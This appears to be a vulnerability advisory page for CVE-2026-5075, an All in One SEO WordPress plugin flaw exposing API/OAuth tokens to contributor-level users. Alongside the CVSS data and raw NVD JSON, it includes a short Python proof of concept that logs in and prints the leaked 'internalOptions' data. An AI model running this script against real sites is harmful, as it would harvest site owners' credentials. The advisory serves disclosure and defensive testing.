Security Vulnerability Report
中文
CVE-2026-5075 CVSS 4.3 MEDIUM

CVE-2026-5075

Published: 2026-05-20 05:16:22
Last Modified: 2026-05-20 13:54:55

Description

The All in One SEO plugin for WordPress is vulnerable to Sensitive Information Exposure via 'internalOptions' localized script data in versions up to, and including, 4.9.7 due to sensitive internal option data being passed to wp_localize_script() in post editor contexts without effective masking for low-privilege users. This makes it possible for authenticated attackers, with contributor-level access and above, to view configured API/OAuth tokens and license-related values from page source.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

All in One SEO Pack <= 4.9.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-5075 # It checks if sensitive data is exposed in the page source of the editor. import requests def check_cve(url, username, password): session = requests.Session() # Login attempt login_url = url + "/wp-login.php" payload = {'log': username, 'pwd': password, 'redirect_to': url + '/wp-admin/', 'testcookie': '1'} session.post(login_url, data=payload) # Access post editor edit_url = url + "/wp-admin/post-new.php" response = session.get(edit_url) if 'internalOptions' in response.text: print("[+] Vulnerability Detected: internalOptions found in source.") # Extract specific snippet for demonstration start = response.text.find('var internalOptions') print(response.text[start:start+200]) else: print("[-] Vulnerability not detected or user lacks permissions.") # Usage: check_cve('http://target-site.com', 'contributor', 'pass')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5075", "sourceIdentifier": "[email protected]", "published": "2026-05-20T05:16:22.120", "lastModified": "2026-05-20T13:54:54.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The All in One SEO plugin for WordPress is vulnerable to Sensitive Information Exposure via 'internalOptions' localized script data in versions up to, and including, 4.9.7 due to sensitive internal option data being passed to wp_localize_script() in post editor contexts without effective masking for low-privilege users. This makes it possible for authenticated attackers, with contributor-level access and above, to view configured API/OAuth tokens and license-related values from page source."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3532318/all-in-one-seo-pack", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0d8bc203-c17a-4b31-8f9e-695f9e638cda?source=cve", "source": "[email protected]"}]}}